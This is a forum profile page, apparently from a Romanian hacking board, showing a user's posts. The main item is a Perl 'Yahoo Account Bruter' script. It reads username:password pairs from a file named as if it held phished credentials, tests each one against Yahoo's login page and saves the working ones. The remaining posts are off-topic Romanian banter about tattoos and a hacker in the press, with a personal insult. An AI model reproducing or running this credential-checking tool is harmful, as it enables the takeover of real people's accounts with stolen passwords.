Jump to content

Gby

Active Members
 View Profile  See their activity

  • Posts

    105

  • Joined

  • Last visited

 Content Type 

Posts posted by Gby

  4. [Perl]Yahoo Account Bruter

    in Programe hacking

    Posted 

    #!/usr/bin/perl

    #Yahoo! LOGIN SPECS

    #USERNAME: 4-32 characters, Start with a letter. [Letters, Digits, Underscores and ONE dot]

    #PASSWORD: 6-32 characters, no spaces



    use HTTP::Cookies;

    $myCookies = HTTP::Cookies->new();

    use LWP::UserAgent;

    my $ua = LWP::UserAgent->new;

    $ua->cookie_jar($myCookies);

    $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.4');

    push @{$ua->requests_redirectable}, 'POST';





    sub usage{

    print "[-] yahoo.pl <logins> (loginass format) <results>n";

    print "[-] yahoo.pl iPhished.txt thanks.txtn";

    die("[!] Incorrect usagen");

    }



    sub yahoo($$){

    my $username = $_[0];

    my $password = $_[1];

    my $url = "https://login.yahoo.com/config/login?login=$username&passwd=$password";

    my $login = $ua->get($url);

    die("[!] Connection errorn") unless ($login->is_success);

    if($login->content =~ m/<strong>Invalid ID or password.</strong><br> Please try again.</div>/){

    return 0;

    }

    elsif($login->content =~ m/<body>nIf you are seeing this page, your browser settings prevent you nfrom automatically redirecting to a new URL./){

    return 1;

    }

    elsif($login->content =~ m/Unable to/){

    die("[!] Yahoo killed you!n");

    }

    }



    if(@ARGV!= 2){

    &usage;

    }

    else{

    my $loginlist = $ARGV[0];

    my $resultlist = $ARGV[1];

    open("xfile", $loginlist) || die "Couldn't open $loginlistn";

    while(my $line = <xfile>){

    chomp($line);

    if($line =~ m/[a-z0-9_.]@yahoo.com(.*?).+){6,32}$/i){

    my @details = split(/:/,$line);

    print "[-] Checking $details[0] : $details[1]t";

    if(yahoo($details[0],$details[1])){

    print "Successn";

    open(LOG,">>$resultlist") || die "Couldn't open $resultlistn";

    print LOG "$details[0]:$details[1]n";

    close(LOG);

    }

    else{

    print "Failuren";

    }

    }

    }

    }

  17. Tinkode in libertatea

    in Off-topic

    Posted

    Da bineinteles ca-i el, ce, crezi ca aia de la Libertatea au pus poza cu altul doar ca sa-i protejeze lui identitatea, sau crezi ca el nu le-a dat poze sa le puna prin reviste?

    Hai, gandeste umpic...

    Patrunjel.. iti spun sa te gandesti tu mai bine inainte sa scrii ceva

    cum dracu sa dai tu poze cu tine celor de la presa sa puna in revista=))

  19. Tatuaje

    in Off-topic

    Posted

    @coop , l-am facut pentru ca imi doream demult un tatuaj gen Tribal

    nu l-am facut pentru ca vreau sa devin mai smecher:-j alea is vechi ca iti faci tatuaj si esti mai smecher , am un prieten la bloc care si-a facut un tribal pe toata mana :) si ala atunci e cocalar sau smecher

    @sulea , fiecare cu gusturile lui si mi-e imi plac si o sa imi fac inca unul dar nu tribal altceva :)

  22. Tatuaje

    in Off-topic

    Posted · Edited by Gby

    @yceman , operatie sau cu laser :)

    @immun3 , asa zici tu dar nu e asa cum zici tu .. bunicu meu are tatuaj din armata de cand a fost si are 70 de ani si nu ii asa cum zici tu nu arata ca dracu :) da de aia tatuati pe tot corpu cum crezi ca se vad la aia:))

    @p3tru , esti un cretin

×
×
  • Create New...